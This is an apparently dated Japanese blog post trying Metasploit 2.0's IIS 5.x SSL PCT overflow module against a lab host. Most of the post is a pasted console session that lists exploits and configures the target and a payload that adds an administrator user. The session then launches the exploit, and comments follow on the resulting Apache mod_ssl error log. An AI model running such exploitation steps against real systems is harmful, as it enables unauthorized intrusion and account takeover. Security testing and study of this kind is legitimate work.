某所でFull-Disclosureで流れていたMetasploit Microsoft IIS SSL PCT Moduleが紹介されていたのので試してみた。
Metasploitって知らないなぁと思ったらぐぐった日本語検索上位でtessyさんとこが。流石っ。
MetasploitというのはUnixなやつと、Cygwinなやつと用意されていて、お手軽にexploitを撃つことができるような代物。
簡単には大人の道具か、ガキのオモチャか?--セキュリティテストツールに賛否(japan.cnet.com)あたりを読んでいただいて、実際に今回のIISのSSLなPCTのアレを打ち込む課程がどのような具合か次にコピペしたものをご覧ください。
ちなみに途中show exploitsで列挙されて出てくるものは1つをのぞいて最初からMetasploit Framework 2.0に含まれるものだ。
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ v2.0 \/ \/ |__|
+ -- --=[ msfconsole v2.0 [19 exploits - 27 payloads]
msf > show exploits
Metasploit Framework Loaded Exploits
====================================
apache_chunked_win32 Apache Win32 Chunked Encoding
blackice_pam_icq Blackice/RealSecure/Other ISS ICQ Parser Buffer Overflow
exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow
frontpage_fp30reg_chunked Frontpage fp30reg.dll Chunked Encoding
ia_webmail IA WebMail 3.x Buffer Overflow
iis50_nsiislog_post IIS 5.0 nsiislog.dll POST Overflow
iis50_printer_overflow IIS 5.0 Printer Buffer Overflow
iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow
iis5x_ssl_pct IIS 5.x SSL PCT Overflow
imail_ldap IMail LDAP Service Buffer Overflow
msrpc_dcom_ms03_026 Microsoft RPC DCOM MSO3-026
mssql2000_resolution MSSQL 2000 Resolution Overflow
poptop_negative_read PoPToP Negative Read Overflow
realserver_describe_linux RealServer Describe Buffer Overflow
samba_trans2open Samba trans2open Overflow
sambar6_search_results Sambar 6 Search Results Buffer Overflow
servu_mdtm_overflow Serv-U FTPD MDTM Overflow
solaris_sadmind_exec Solaris sadmind Command Execution
warftpd_165_pass War-FTPD 1.65 PASS Overflow
msf > use iis5x_ssl_pct
msf iis5x_ssl_pct > show
msfconsole: show: specify 'options', 'advanced', 'targets', or 'payloads'
msf iis5x_ssl_pct > show options
Exploit Options
===============
Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 443 The target port
msf iis5x_ssl_pct > show advanced
Exploit Options
===============
Exploit (Msf::Exploit::iis5x_ssl_pct):
--------------------------------------
msf iis5x_ssl_pct > show targets
Supported Exploit Targets
=========================
0 Windows 2000 SP4
1 Windows 2000 SP3
2 Windows 2000 SP2
3 Windows 2000 SP1
4 Windows XP SP0
5 Windows XP SP1
msf iis5x_ssl_pct > show payloads
Metasploit Framework Usable Payloads
====================================
winadduser Create a new user and add to local Administrators group
winbind Listen for connection and spawn a shell
winbind_stg Listen for connection and spawn a shell
winbind_stg_upexec Listen for connection then upload and exec file
winexec Execute an arbitrary command
winreverse Connect back to attacker and spawn a shell
winreverse_stg Connect back to attacker and spawn a shell
winreverse_stg_ie Listen for connection, send address of GP/LL across,read/exec InlineEgg
winreverse_stg_upexec Connect back to attacker and spawn a shell
msf iis5x_ssl_pct > set TARGET 0
TARGET -> 0
msf iis5x_ssl_pct > set PAYLOAD winadduser
PAYLOAD -> winadduser
msf iis5x_ssl_pct(winadduser) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 443 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required PASS The password for this user
optional EXITFUNC seh Exit technique: "process", "thread", "seh"
required USER The username to create
msf iis5x_ssl_pct(winadduser) > set RHOST 192.168.0.2
RHOST -> 192.168.0.2
msf iis5x_ssl_pct(winadduser) > set PASS hoge
PASS -> hoge
msf iis5x_ssl_pct(winadduser) > set USER huga
USER -> huga
msf iis5x_ssl_pct(winadduser) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ -------------------------- ------------------
required RHOST 192.168.0.2 The target address
required RPORT 443 The target port
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required PASS hoge The password for this user
optional EXITFUNC seh Exit technique: "process", "thread", "seh"
required USER huga The username to create
msf iis5x_ssl_pct(winadduser) > set
PASS: hoge
PAYLOAD: winadduser
RHOST: 192.168.0.2
TARGET: 0
USER: huga
msf iis5x_ssl_pct(winadduser) > exploit
[*] Attempting to exploit target Windows 2000 SP4
[*] Sending 289 bytes to remote host.
[*] Waiting for a response...
ご覧の通り簡単に撃ち込めてしまいます。
ということでMetasploit Framework 2.0には賛否両論あるようですけど、頑張って欲しいなぁと思った次第。
をApache1.3.29(確か)に撃ち込むと次のようなerrorログが。THCとMetasploit Framework 2.0のやつとどちらも同じみたい。そもそも下記エラーの意味するところが分からないのアレですが(笑
[error] mod_ssl: SSL handshake failed (server 192.168.0.2:443, client 192.168.0.3) (OpenSSL library error follows) [error] OpenSSL: error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol [Hint: speaking not SSL to HTTPS port!?]
SSLセッション確立に失敗しているログです。対応暗号アルゴリズム、ハンドシェイクプロトコルの未対応、証明書のパスワードが間違っていたりとかが原因ですとマジレスしてみた。
をぉ、そうなんだ。どもども。
ちなみにエラーコードらしき140760FCで、もうちょっと詳しいエラーが分かるのかなぁ。
opensslのerr.hを読んでください(逃げ
OpenSSLのssl/s23_srvr.cの最後のあたりで出力されてるのかな?
明日時間作れたらソースのぞいてみます〜